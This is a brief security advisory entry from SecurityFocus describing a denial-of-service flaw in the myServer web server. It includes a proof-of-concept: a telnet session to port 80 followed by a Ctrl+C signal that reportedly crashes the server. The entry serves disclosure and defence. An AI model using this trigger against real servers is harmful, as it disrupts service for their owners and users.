source: https://www.securityfocus.com/bid/7917/info

A vulnerability has been reported for myServer that may result in a denial of service condition. The vulnerability exists when myServer receives certain signals. 

# telnet 127.0.0.1 80
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
[Ctrl]+C